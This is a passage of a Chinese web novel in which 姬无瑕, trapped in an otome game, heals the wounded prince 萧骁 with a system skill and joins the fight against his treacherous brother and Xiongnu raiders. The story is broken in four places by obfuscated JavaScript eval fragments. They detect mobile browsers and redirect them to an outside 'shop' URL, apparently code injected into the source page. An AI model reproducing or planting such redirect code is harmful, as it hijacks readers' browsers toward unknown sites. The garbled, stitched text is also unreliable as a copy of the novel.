姬无瑕:“……” 这系统在沉寂了十多天之后,终于又有了少许的存在感,前面姬无瑕差点都把它给忘了! 我没听错吧,这技能叫“斩男大法”?物理斩是吧?! 姬无瑕赶紧对着远远追过来的刺客们再练习一下,系统却连连报错,提示他“已无使用次数,请付费购买金手指券”,并在他眼前弹出一个蓝绿修改器二维码,恭请他当场扫码。 老子是想扫但是老子又没手机怎么扫啊啊啊啊!姬无瑕彻底崩溃了。 姬无瑕不得不用手指点着,把空气中的二维码关掉。 - 鹅黄在月影中穿梭,逐渐下了山。开始时萧骁搂着姬无瑕,手握着缰绳控马,后来萧骁的体温越来越低,逐渐趴在了姬无瑕背上,鹅黄自由自在地奔跑。 “萧骁?”姬无瑕小声道。 萧骁不答。 鹅黄在一条小溪边停下。姬无瑕把萧骁搀扶下马,捧来溪水冲了冲他的伤口。萧骁背后的衣物已经被黑血浸透了,满脸都是冷汗。 姬无瑕不敢拔箭,故事里都说一拔箭人就不成了。他让萧骁侧躺在自己腿上,给他喝了点水。 经过这生死攸关的离谱的一夜,姬无瑕满脑子乱糟糟的,心想这剧情好怪,萧骁身为男主之一会死吗?死了剧情还怎么进行下去?总不能像某些游戏一样再死而复生吧?还是说,自己选错了什么关键选项?要BE了? 萧骁艰难地睁开眼睛,道:“现在应该安全了。” 姬无瑕呆呆地:“哦。” 萧骁又缓缓道:“你走吧,我活不成了。鹅黄也送给你,好好待它。” 姬无瑕莫名其妙觉得脸上一凉,一滴眼泪缓缓流下。真奇怪,明明整个世界都是假的,是游戏里的世界,他却真情实感地心如刀绞。 萧骁不说话了,虽然肩头带着箭,他的右手还是颤抖着举起来,慢慢勾住姬无瑕的脖子。 姬无瑕顺着他几近于无的力道低头,在他苍白的嘴唇上轻轻一吻。那滴泪在两人的唇间溶化,带着淡淡的咸味。 唇分,姬无瑕深吸一口气,肩膀抽动,转过脸去,对着草原上的潺潺溪流。 这时,系统又“叮”的一声,不知说了句什么。 姬无瑕:“?” 他完全沉浸在思绪里,什么都没听到。 “你说什么?”姬无瑕道。 萧骁嘴唇翕动。姬无瑕:“不是问你。” 系统:“萧骁的好感度从6点上升至56点,好感度已满50点,请公主领取达标奖励礼包。” 姬无瑕:“……” 一连串奖励在姬无瑕面前展开,那界面像浮在现实之上,介于可触摸与不可触摸的量子叠加态。姬无瑕选择了“全部收取”,首先他的怀里突然出现了一两金子,然后出现了一包压缩饼干一样的劣质点心,最后,刷出来一张金手指技能次数充值卡。 这张卡也明显不是这个世界的东西,只能点击使用,不能揣在怀里。姬无瑕定睛一看,它的卡面立绘是一根金色的竖起的中指,代表“金手指”。 姬无瑕欲哭无泪:“你给我个斩男金手指有什么用啊,我要治疗!治疗!要么退一步,复活也行啊。” 他气呼呼地把卡扔了。系统坚持不懈地提示:“公主,请选择您需要充值的金手指。” 姬无瑕招招手,卡又违反物理定律地飞回他手上。姬无瑕抖开一看,现在有两项金手指可以选择,一种叫“斩男大法”,另一种叫“眼泪治愈术”…… 姬无瑕已经被折腾麻了,死马当活马医选择了“眼泪治愈术”。一道金光闪过,充值卡迎风消散,萧骁嘴唇上那残余的半滴液体发出闪瞎眼的璀璨虹光。萧骁猛吸一口气,五指握紧了姬无瑕手臂。 姬无瑕连忙扶住他,观察他肩头。萧骁肩头的伤口发生了诡异的变化,扭曲收缩并止住了血。慢慢地,那根羽箭被他的愈合的肌肉挤了出来,啪嗒一声掉在地上。 姬无瑕彻底疲了。 - 清晨,萧骁睡醒了,在姬无瑕腿上伸了个懒腰。姬无瑕凌乱地坐在河畔的晨风里。 萧骁莫名其妙:“我怎么活了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13580031|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姬无瑕面无表情道:“我也不知道。” 他很想查看技能说明,但苦于找不到界面,找到了也没有次数,下次系统赏给他次数充值卡还不知道是什么时候。 他的内心此刻尴尬炸了,啊啊啊这什么偶像剧烂大街剧本啊,两人同生共死一番,自己还觉醒了异能,好尴尬脚趾抠地千万不要说出去啊啊啊! 但是回想起夜里箭矢飞来那一刻,姬无瑕又有种既酸楚又甜蜜的滋味涌上心头,萧骁以身相护时,那种不容拒绝的安全感,难道不是他一直想找的吗…… 姬无瑕胡思乱想,心脏一通狂跳。萧骁脑门上灯泡一亮,道:“啊我知道了,是你对我的爱感动了神山对不对?” 萧骁自下方伸手,把姬无瑕迎风惆怅的脸掰回来,问:“无瑕,你感动了哪位天神?是你们汉人的神吗?还是我们乌桓人的神山?” 姬无瑕一脸“我不是我没有别问我”。 萧骁笑容俊朗:“原来你这么喜欢我,喜欢到能感动上苍?” 姬无瑕炸毛了:“不是喜欢你,是金手指,金手指懂吗?!” 萧骁道:“不懂。金手指是什么?没关系,爱上我了就直说,我也爱你啊,不会笑话你的!” 萧骁依稀还记得昨夜那个带着咸味的吻,亲昵地搂着姬无瑕脖颈,想让他再低头亲一个,姬无瑕却后仰梗着脖子,说什么也不肯了。 萧骁只当他不好意思,道:“你们汉人就是矜持。” 姬无瑕忿忿道:“你喜欢的不是我,是白璧。” 萧骁道:“你不就是白璧?你忘了我昨晚说的?我们早在十年前就越好了的。” 姬无瑕默默不语,还在纠结自己是不是白璧。萧骁转头对着马道:“鹅黄,鹅黄,你过来,你说我喜不喜欢他?喜欢你就点头,不喜欢你就摇头。” 鹅黄简直没眼看他,扭头把屁股对着他们。 “它在摇尾巴……”姬无瑕说。 萧骁放声大笑,吓飞了河边喝水的一串小鸟。 姬无瑕怒道:“当心再引来刺客!” 萧骁道:“不怕,奇夷养的死士就那么点人,被我昨夜杀了大半,应该不敢再来了。” 姬无瑕:“你打算接下来怎么办?” 萧骁露出令人沉醉的笑容:“当然是成婚啊!咱们本来今日就要成婚的,我父王已请了大祭司来主婚。婚后随大祭司回归我族圣地,在那里再休养三个月。圣地是一片山谷,那处终年可见高山上的雪顶,但谷地内又温暖如中原的春天,再过一个月,小花就会开遍整个圣地,到时候我给你编五颜六色的花环……” 萧骁絮絮叨叨的,说得心花怒放,姬无瑕几次欲言又止,心道可算见识到恋爱脑了,我是想问你怎么对付奇夷! 姬无瑕想到萧骁给自己挡那一箭,又心软了,看他差点死掉的份上,且让他多欢喜几日……就,就到彻底铲除他哥哥的势力为止吧!之后萧骁做他的大单于,我回中原登我的基,彼此相忘于长城……虽然这架空时代好像没有长城。 姬无瑕挠了挠头,登基应该也不在乎晚那么几天吧。 19.萧骁:57.99 姬无瑕心知自己该跟萧骁说清楚,拿这救命之恩要挟,让他放自己离开,却拖拖拉拉地开不了口。 我该不是对他动心了吧?姬无瑕扪心自问。不可能,我怎么会对纸片人动心呢! 还是要找机会谈谈,等回到中原之后……姬无瑕心想,老子手握两大异能,左手斩男大法,右手眼泪治愈术,不说呼风唤雨,好歹神仙下凡,前程一片坦途。 问题是怎么才能刷到金手指次数?靠亲出好感度礼包可以吗? 姬无瑕想着,把萧骁的脸掰过来,啾地亲了一口。 萧骁马上闭眼,系统提示:“好感度上升1点。” 怎么才一点?姬无瑕想,之前不是有五十点吗?再亲一口试试。 系统:“好感度上升1点。” 这要亲到什么时候去!也不知道下次给奖励需要多少点?第一档是五十,第二档难道是一百? 姬无瑕突然想到了新办法,我先把他的好感度压到五十点以下,然后再刷上来,不就卡上bug了吗?不就又可以拿奖励了吗?我真是个小天才! 姬无瑕道:“哎,萧骁。” 萧骁被他亲得脸颊发烫,手指紧握着,动也不敢动,任姬无瑕为所欲为。 姬无瑕看到他这副样子又有些心猿意马,一哆嗦赶紧把自己的思绪拉回来,想金手指的事。怎么才能惹他生气掉好感度呢?吃醋行不行? 姬无瑕沉吟片刻,道:“那个杜姜……” 萧骁睁开眼:“?” 姬无瑕:“你觉得他长得好看吗?” 萧骁:“???” 萧骁试探着说:“他太瘦了,应该……没我好看吧?” 这样不行啊!姬无瑕仰天长叹,要么还是亲到一百试试吧!不不不能作死,等亲到一百就更难降回五十了。 姬无瑕举棋不定之际,萧骁鼓起勇气,拈着他的下巴,凑上来亲他。姬无瑕用力抵着萧骁的脸,不让他靠近。 萧骁尝试失败,失落地坐到了旁边。 姬无瑕竖起耳朵,过了好久,听到系统道:“萧骁好感度降低0.01。” 姬无瑕:“……” 他很有些无奈,亲,还是不亲,这是个问题。虽然姬无瑕心中充满了快乐,但金手指还是不得不充值,奇夷的问题尚未解决,另外还有更加难缠的杜姜。 想到杜姜姬无瑕就头大。躲在手机屏幕后面玩手游时,自然可以跟腹黑男主饶有兴致地相爱相杀,现在就不一样了,真人乙游,是真的会死人的! 想到自己可能会成为乙游史上第一个被男主彻底杀掉的主控,姬无瑕简直哭笑不得,还不知能不能读档。 萧骁见他走神,在旁道:“你又在想谁?杜姜?” 姬无瑕倏然被他戳中心事,心虚地说:“也没有啦……” 萧骁沉吟道:“如果你对他也有意……” 姬无瑕:“啊?” 萧骁:“……我回去就一刀杀了他。” 姬无瑕:……原来你还没有被爱情冲昏头脑。 萧骁道:“不过姑且还是要感谢他昨晚通知我奇夷的动向。” 姬无瑕回过味儿来,原来最终还是杜姜通知的?就说怎么萧骁来的时间刚好呢。杜姜帮姬无瑕,又不彻底帮,还要让他以身犯险,这人的立场实在很迷惑。 萧骁道:“回去了,成婚之前,咱们得先跟奇夷算账。” 萧骁喊鹅黄过来,往常他都是把姬无瑕拽上马的,客气一点也是抱上去的。唯有这次,他双手交叉,半跪下给姬无瑕踩。 姬无瑕道:“不不不不用这样,你这样我反倒容易摔着。” 萧骁露出俊朗的笑容,还是照旧把姬无瑕抱上去,鹅黄自行找方向奔回乌桓人的营地。 - 还在营地外,远远望去,萧骁的神色就沉了下来。现在已经日上三竿,乌桓人的营地中却无人走动,像一座空城。 “出事了。”姬无瑕也明白。 两人直奔单于大帐外,往日热闹喧嚣的大帐中案几翻塌,单于的桌上甚至有几道刀剑留下来的痕迹。萧骁从地上捡起一枚箭头,仔细端详。 “怎么说?”姬无瑕凑上来问。 “是匈奴人的箭。”萧骁沉声道。 姬无瑕眼里所有箭头都长得一样,也不知道萧骁怎么看出来的。 萧骁飞奔出帐,在营地里大吼一声:“时越!” 姬无瑕跟出去,就看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590087|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时越像鹅黄一样,在萧骁的一声召唤下,从远处狂奔而来。然而时越脸上带着一道伤,满身是血,一见他便扑倒在地,道:“王子你总算回来了!” 时越垂着头道:“日出之前,奇夷勾结匈奴骑兵,攻入营地,抓走了单于。现在事情麻烦了!” 萧骁难以置信地问:“他要杀了父王?” 乌桓人向来崇尚武力说话,萧骁可以接受自己的哥哥要杀自己、自己的妻子,却很难理解连父王都要杀。这是背叛整个族群的大罪! 时越道:“不清楚。我带您的亲卫队拼死反抗,但匈奴人多势众,他们还是带走了单于,往归赤山上去了。看那方向,去的可能是圣地!” 萧骁马上上马,对时越道:“还有多少能作战的人?都叫过来!” 时越道:“不多了!有些在巫医那里治伤,剩下的我马上召集!” 姬无瑕仰头看萧骁:“带我去!我也要去!” 萧骁道:“你在家里等我。” 姬无瑕怒道:“你这是什么大男子主义!老子也是奇夷的受害者,老子偏要去!” 萧骁道:“不行!你得听我的!” 说完这句,萧骁便打马掉头,鹅黄最后惆怅而无奈地看了姬无瑕一眼,不得不转头了。 姬无瑕:“……” 萧骁一溜烟跑远了,姬无瑕在他身后大叫:“你这臭男人!” 姬无瑕有些气愤,主要是萧骁这副遇事毫不商量、说一不二的架势惹到了他。 他站在原地打转,想了想,自己就算想去,也得有人带路啊,该不会在山里迷路吧? 他往时越消失的方向走了几步,想找到一个乌桓战士偷偷摸摸跟着。路过一座贵族的豪华大帐时,听到里头传来钦琳大喊的声音:“老娘偏要去!” 姬无瑕:……游牧民族的帐篷隔音真差! 接着是中年男子大声斥责:“他们兄弟相争,不管谁赢了,都早晚会娶你,你现在就站队有什么好处?!你这么帮乌楼渐,万一奇夷胜出,可就是要了你爹我的老命!” 稍后,钦琳的父亲掀开帐篷门,气冲冲地走出来。 姬无瑕心想:好嘛,向导送上门,现在有人认得路了。 20.萧骁:57.99 姬无瑕站得不远不近,偷瞄帐篷门内,发现里面好像只有钦琳一个人。钦琳的父亲神色不善,却认出他是萧骁的未婚妻子,自己刚说过萧骁的坏话,有点下不来台,鼻子里“哼”的一声。 姬无瑕赶紧跑了。 稍后,姬无瑕等钦琳父亲走远了,过来扒拉帐篷背后,小声道:“钦琳,钦琳,你知道圣地怎么走吗?” 钦琳不答,片刻后,却一身劲装、背弓挎刀,掀开帐门直接走了出来。 “跟我走!”钦琳神采飞扬。 钦琳带着姬无瑕七扭八拐,钻进乌桓山脚下一个山洞。 姬无瑕道:“这里阴森森的,大白天连点光线都没有,不会有问题吧!” 钦琳道:“走正路太显眼,不被奇夷发现也会被乌楼渐发现。这山里我熟得很,相信我!” 姬无瑕无奈,只得安慰自己,要迷路也是两人一起迷,被乌桓人寻的时候脸上不会太难看,就随她吧。 姬无瑕道:“时越说他们去了圣地,不知道去圣地做什么?” 钦琳道:“我族的单于继任仪式需要大祭司主持,在圣地举行。” 姬无瑕懂了,这就是个普通的篡位流程,类似于汉人王朝在历史上搞过的三辞三让那种。 钦琳边走边出神道:“乌楼渐哥哥他肯定很着急。自己的亲哥哥篡位,父王生死未卜。” 姬无瑕:“你很担心他哦。”他反省自己,自己为萧骁担心了吗?答案是几乎没有。萧骁是乙游男主,他不会失去地位,但他的父亲乌桓单于就不好说了,可能会成为推动男女主爱情发展的牺牲品,一个工具人。 姬无瑕回想起那一蓬大胡子,后知后觉地感到老单于也是有点可爱的。 钦琳见姬无瑕深思,想歪了,赶紧打了个补丁:“我只是为了我自己,可不是为了乌楼渐!我爹想让我嫁给下一任单于。如果奇夷上位成功,我就得改嫁给他了,换你你愿意啊?” 姬无瑕道:“你才是乌楼渐未来的妻子,我快要回中原了,此生……此生与他不会再见,后面他就交给你了。” 钦琳:“我呸!谁稀罕捡你的剩饭吃!” 姬无瑕正在离愁别绪,却莫名其妙被骂了一顿,加上他对萧骁也有几分真心,突然就有点不爽了。姬无瑕:“剩饭怎么了?你敢说你们的王子是剩饭?!” 钦琳:“山珍海味剩下来也是剩饭!” 姬无瑕难以置信:“你平日最爱吃的,被别人看了一眼就不吃了吗?!” 钦琳:“你那是看了一眼?!你是吐了口水进去好吗!” 姬无瑕:“我哪里吐口水了……你!” 姬无瑕气得要向钦琳吐口水,钦琳穿出山洞,道:“闭嘴,圣地到了,快去救人!” 姬无瑕站在山洞外的半山坡上,高声道:“我才不会为你未来的老公忙活呢!” 钦琳声音比他还大,且高八度:“谁的老公还不一定,你敢打赌吗?!敢不敢?!谁嫁乌楼渐谁小狗!!!” 姬无瑕心想,这乌桓人赌性真大,从单于之位到老公人选都能赌,好吧!奉陪到底!姬无瑕对着山谷里大声道:“赌就赌,谁怕谁?!输了的给赢了的磕头道歉!” 谷地里,有守卫沉声喝了一句匈奴话。钦琳道:“不好!都怪你声音太大被发现了!” 姬无瑕大喊道:“你才声音大被发现了!” 钦琳焦急道:“怎么办?!快跑吧!”然后拉着他转身向山坡上面跑去。 他们身后,匈奴人彼此大声呼喝,短短片刻,便从圣地里冲出来整整一个千人队! 然而归赤山上的小路崎岖,马匹难行,匈奴人频频撞树,只得下马徒步追赶。 姬无瑕与钦琳虽然跑得不算快,但本来就在半山腰处,距离匈奴人有点远,如果不是刚才对骂太大声,本来应该不会这么早被发现的。 匈奴人心中疑神疑鬼,既不清楚来了多少乌桓人,也不敢贸然进击,怕有埋伏,只能缀在姬无瑕与钦琳的后面,拖出贪吃蛇一样长长的尾巴。 钦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598586|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳慌不择路,姬无瑕气喘吁吁地说:“你真认得路吗?我怎么觉得好像在绕弯……” 钦琳道:“这不怪我啊!这山上哪有路,我认得也没用啊!” 探鹰从他们头顶掠过,匈奴人越追越近,姬无瑕与钦琳手携着手冲上一道断崖。 姬无瑕急刹车:“哇这里是死路!你怎么带的路!” 钦琳:“是你非要往这边的!你力气那么大,我怎么拉得过你!” 两人分别发出重重的“哼”的一声,把彼此的手甩开,但此时已经是退无可退了。 姬无瑕背靠着悬崖,张开五指挡在前方,道:“别过来啊我警告你们别过来!” 当先的一小队匈奴人见已将他们堵在悬崖上,忍不住嘿嘿狞笑,露出一口漆黑的大牙。 姬无瑕问钦琳:“现在咋办啊!” 钦琳道:“要不……跳崖?” 姬无瑕心道,你以为是武侠小说啊,跳崖后不死还能捡到武功秘籍。 姬无瑕勉强止住双腿颤抖,威胁道:“你别别别过来啊!我们,我们有埋伏!” 匈奴人疑惑地摇了摇头。 钦琳:“你傻啊!他们听不懂汉话!” 姬无瑕:“那你翻译一下啊!” 钦琳上前,喊了句什么,就见匈奴人疑惑地四下张望,但周围确实什么也没有,探鹰还在空中好好地飞着,绕圈,表示周围没有敌人。 姬无瑕又道:“我们的人是从地底钻出来的!只有乌桓人知道这山上的地洞!” 钦琳:“……你以为匈奴人傻啊?” 姬无瑕:“别废话你快翻译!” 钦琳无奈,只得又翻译了。匈奴人终于听出来姬无瑕在胡说八道,大怒,手持刀剑对二人发起冲锋! 钦琳一声尖叫,眼看二人即将丧生于匈奴人刀下,远处却传来萧骁浑厚的号令:“预备……射!” 塞外天低,高山上仿佛伸手就能摸到苍穹。如洗碧空中,万箭齐齐落下,匈奴人惨叫着倒了满地。 21.萧骁:57.99 时越带人冲上悬崖,护住姬无瑕与钦琳,并对尚有战斗力的敌人逐一补刀。 姬无瑕眼尖,看到萧骁面无表情地站在远方高处,确认两人都无事后,便带着一部分人掉头走了。 我不听他的话擅自行动,他生气了?姬无瑕心中惴惴不安。 时越道:“可救到你们了,两位小祖宗。” 钦琳道:“怎么才来?” 时越不断擦汗:“我们是先攻入圣地,再一路杀上来的。你们跑得真快,把匈奴人的队伍拉成了好几截,正好逐个击破。” 姬无瑕问:“匈奴人怎么没发现你们?” 时越答道:“因为我们是钻地洞上来的,这地洞在山体中,只有乌桓人知晓,空中探鹰看不到。” 姬无瑕:“……” 姬无瑕英明神武地歪打正着了。 “那还等什么,我们回圣地去吧!”姬无瑕与钦琳都说。 下山路上,他们很快追上了萧骁。萧骁只是不悦他们二人的自由散漫,其实并不着急走,反倒故意走得慢了点,等姬无瑕追上跟他道歉。 姬无瑕等人跟在萧骁后面。姬无瑕故意大声问时越:“你们兵力这么少,怎么打败匈奴与奇夷的联军的呀?” 时越老实巴交地说:“幸亏你们把匈奴人引走了,圣地里只有奇夷的人。我们本来还觉得兵力完全不够……” 萧骁本来就竖着耳朵听这边的动静,此时转头怒吼:“别告诉他!你看他尾巴都翘起来了!” 姬无瑕赶忙把脸上的可恶的笑容和背后摇晃的尾巴都收好,做出一副肃然的样子。 几人下到圣地里,圣地也一片混乱。大祭司种的菜和草药被匈奴人武器撅了个精光,叶子蔫蔫地躺在地上。圣地里不住帐篷,建筑都是朴素大气的木屋。正殿墙上挂着祭祀用的羽毛面具、烈酒、腰鼓,以及一只巨大的狼头骨。 姬无瑕端详那头骨,感觉它空洞的眼眶以一种静谧而冰冷的视线望向自己。 萧骁先去内屋看过自己的父亲,乌桓单于年纪有些大了,被囚禁了半宿,气血攻心,晕了过去,此时还没醒。巫医从族中来了,在屋内照顾他。随后,萧骁又去处置被绑在侧殿奇夷。 这可是个大难题,奇夷虽然恶毒,虽然差点杀了萧骁与他们的父王,但好歹是萧骁的亲哥哥。 姬无瑕突然想起来,其实他在玩《白璧传奇》时,也注意到了奇夷的结局:奇夷在原剧情中,也是拼命作死,与萧骁作对,最后在混战里被乱箭射死了。 姬无瑕很能理解这样的剧情安排,这样就避免了主角杀还是不杀他的道德困境,毕竟来玩游戏就是图个轻松,没必要让玩家们纠结,更没必要为此闹出什么瓜来吵上社交平台。 然而不知出了什么岔子,到姬无瑕真人版,就变成了要自己决定了。 奇夷的鼻子红通通的,鼻孔里塞着一团滴血的布帛,奄奄一息地躺在地上。姬无瑕马上回想起那只被他拿来捅人的簪子,看来威力还不小。 萧骁道:“你既然背叛父王,我们兄弟之情也到此为止了,你还有什么要说的?” 奇夷惨笑道:“乌楼渐,你才是背叛者。你有没有忘记我们年少时起过什么誓?” 萧骁神色微动,道:“不敢忘。” 奇夷道:“你曾发誓,此生要带领我族男女老幼走出草原,去中原的水草肥美之地定居,从此人人幸福富足,家家再无饥寒。然而现在——”他转而盯着姬无瑕,“你心里只剩下这个周国的女人,早就被她洗脑了,怎么能带领乌桓族入主中原?” 萧骁面容肃穆,沉默不语。 姬无瑕向来想说什么就说什么,从不怕得罪人,此时在旁道:“不见得吧,别转移话题好吗?你带匈奴人来杀你父王,也不见得有多替乌桓人着想。你承诺给匈奴什么?牛羊财宝倒也罢了,该不会还卖了族人给匈奴做奴隶吧?!” 萧骁如梦初醒,惊讶地看着姬无瑕。 姬无瑕:高校辩论赛高端二辩,最擅抓人语病,基操勿6。 姬无瑕道:“我劝你,还有什么想说的,乖乖说出来,等会儿脑袋落地就没机会了。” 奇夷扭动被捆绑的肥胖身躯,艰难地跪起来,痛哭流涕道:“其实我也有苦衷啊!” 姬无瑕冷漠:哦。 奇夷道:“我是乌桓的大王子,名正言顺的未来继承人,凭什么大家都喜欢你乌楼渐?还不是因为你身材好,长得帅,盖过了我的风头。” 萧骁道:“我平日里多戴着金狼面具,就是不想让人多关注我的容貌。” 姬无瑕:哟? 奇夷虽然被绑着,无法捶胸顿足,却做出了捶胸顿足的神情:“你那个面具是欲盖弥彰!增加你对女孩子的神秘吸引!别以为我不知道,你这个骚包!” 姬无瑕:说得对啊,你这个骚包! 奇夷:“你娘从中原回来,还带饴糖给我们吃,可不是为了让我们都越来越胖吗?” 姬无瑕奇道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607344|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “难道没给钦琳?” 奇夷:“当然!当然给了钦琳。” 姬无瑕:“我看她身材挺好的啊……” 奇夷:“……” 奇夷怒道:“你老婆是个心机婊,你娘也是心机婊,别以为我不知道!” 姬无瑕扶额。 萧骁大怒,上前扇了奇夷一个耳刮子,姬无瑕终于看不下去了,他们兄弟间的事情,就让他们自己解决吧。 姬无瑕退了出来,却闻到了熟悉而浓烈的香菜味儿,一看却是老巫医在正厅墙角熬药。 姬无瑕:“咦?” 巫医对他嘿嘿笑。 姬无瑕看着他手里的铁碗,这个铁碗他可太熟悉了,只不知道巫医到底有几个,万一还是他塞奇夷嘴里那个,现在拿来给老单于盛药…… 巫医看着姬无瑕无比嫌弃的神情,正色道:“不是同一只啦!” 姬无瑕大惊失色:“你怎么会讲汉话?!” 巫医:“我本来就会,但巫医是乌桓部落里仅次于单于和祭司的重要人物,为了保住我神秘的形象,我才装不会说汉话的。” 姬无瑕:“……” 巫医脸上皱纹舒展,悠然道:“我怎么可能不会说汉话呢?当初单于初识二王子的母亲,还是我从中牵线搭桥,充当翻译的,直到他娘学会了乌桓话为止。” 姬无瑕:“啊。” 巫医道:“可惜啊,可惜喽。她跟单于大吵一架,便回了中原,再回来,则是生了重病,把二王子交还给他父亲,过了不久就死了。从那以后,单于的心也死了一半,脸上没了笑容。到了近几年,每日睡的时间,也是越来越长咯……” 姬无瑕略有些怅然,看萧骁这相貌,当初他爹娘只怕都是极美的人,神仙眷侣。姬无瑕的颜控病有点犯了。 “呵呵,”巫医道,“双方都年轻气盛,相聚不过短短十几年,分离倒还分离了一年有余。” 姬无瑕感慨道:“造化弄人。” 巫医道:“念念不忘,却无回响。小伙子,劝你一句,能相聚时,便不要分离,不要等到冥河之水将你们分开时才悔不当初。” 姬无瑕眼眶发酸,过了一会儿,才倏然一惊:“小伙子?!你怎么知道我是男的?” 巫医理所当然地说:“我给你悬丝诊脉过啊!” 姬无瑕:“……” 巫医端着老单于的药,进内室去了,一边走一边摇头晃脑地唱道:“一见周女~误终身唉~~” 22.萧骁:57.99 姬无瑕坐在夕阳下,望着圣地的菜田,心中怅然,到底还是没想通巫医是怎么看出来自己的。 萧骁走过来,与他并肩坐着,说:“我还是把奇夷放走了。我爹身体不好,不能受刺激……” 姬无瑕无精打采地说:“哦。” 他明显心不在焉,萧骁诧异道:“你怎么了?” 姬无瑕道:“我,我要走了。” 萧骁静了。片刻后,问道:“你不跟我成婚了?” “不了吧,”姬无瑕蔫蔫道,“还要当小狗。” 萧骁不解:“什么小狗?” 姬无瑕想到钦琳,又想起巫医说“能相聚就不要分离”,不由得心中一动。那念头一闪即逝,姬无瑕突然道:“没什么,小狗就小狗了,还是成婚吧!” 婚姻大事,姬无瑕改口得也太轻率。萧骁不知该信他哪一句:“真的?” 姬无瑕从地上爬起来,拍拍屁股上的灰,高喊道:“我要结婚啦啦啦啦——” 声音在山谷里回荡,钦琳不知在哪间木屋里远远回应:“你神经病啊啊啊啊——” 萧骁也站起来,道:“我去筹备婚礼,这次不能那么草率,要好好办,给我两天时间。” 姬无瑕道:“不过我可能最终还是要回去中原的……” 萧骁耐心道:“没关系,等成婚后,我就陪你回去,带乌桓骑兵帮你打天下,如何?” 姬无瑕欣喜道:“那可真是太好了!” 萧骁道:“以你为尊,你说打哪里,我就打哪里。” 姬无瑕喊道:“太好啦——” 钦琳从木屋窗口扔出一个瓷花盆,“啪嗒”落地摔得粉碎。 萧骁道:“大姑奶奶的婚服被奇夷扯破了,咱们是修补还是重新做一套?” “无所谓啊,”姬无瑕道,“我想嫁给你,穿什么都没关系,不想嫁穿什么也没关系……对了,我的玉玺和哨子呢?还给我吧。” 萧骁动作一顿。 姬无瑕:“?” 萧骁迟疑片刻,道:“无瑕,你冷静点听我说,你的玉玺和哨子我放在父王那里,前面被匈奴人抢走了。” 姬无瑕不为所动:“哦。” “时越!”萧骁马上召唤了他的亲卫队长,“安排搜索匈奴人的尸体,找一个竹哨和一块方方正正的玉。残军下落也要追查!” 时越肃然道:“是!” 萧骁:“无瑕你别急,他们已经去找了!” 姬无瑕:“啊?好,好啊。” 萧骁仔细端详他的神色,发现他真的没怎么急。 姬无瑕想的则是,自己是这个游戏的主角,玉玺再怎么也会阴错阳差地回来吧?现在暂时丢失可能是一种,类似于,剧情杀,因为集邮还不到位。换句话说,他得集齐所有男主的爱,才能真的登基的。如果他没记错的话,现在还是游戏的第一章吧? 姬无瑕淡定得令人害怕,萧骁道:“我,我要去安排追击匈奴人,还要筹备婚礼……反正你也不急着走,还得等玉玺追回来才能走……” 萧骁说到这里,深吸了一口气,随后问:“让钦琳过来陪你?” 姬无瑕哭笑不得,道:“你快去吧!我不需要人陪!” 稍后,时越急匆匆地回来了,面色严峻,萧骁立刻召集跟着他上山的乌桓贵族在正厅里议事。姬无瑕心想,莫非真的找到了匈奴残军的下落?不应该啊,玉玺丢失还能马上找回来不成? 姬无瑕摸不着头脑,但却没有上前偷听,主要原因是乌桓人说话也听不懂。等萧骁开完会,姬无瑕就蹲在门口,看贵族们一个个匆匆出来,各自去安排山谷周围的防卫。 人都走光了,只有萧骁盘膝坐在厅堂的主位上,眉头紧锁。姬无瑕目光中带着征询之意,萧骁便主动告诉他:“时越说匈奴人增兵,现下已经进入了归赤山,预计今晚就会对圣地进行突袭。” 姬无瑕道:“奇夷呢?” 萧骁明显有些心烦意乱,道:“奇夷彻底投靠了匈奴,给他们做向导。他对归赤山的地形也很熟悉,会是一场硬仗。” 姬无瑕问:“现在撤出来得及吗?” 萧骁道:“我父王和大祭司都行动不便,现在撤下山更易被中途攻击,还不如借圣地的防御放手一搏。” 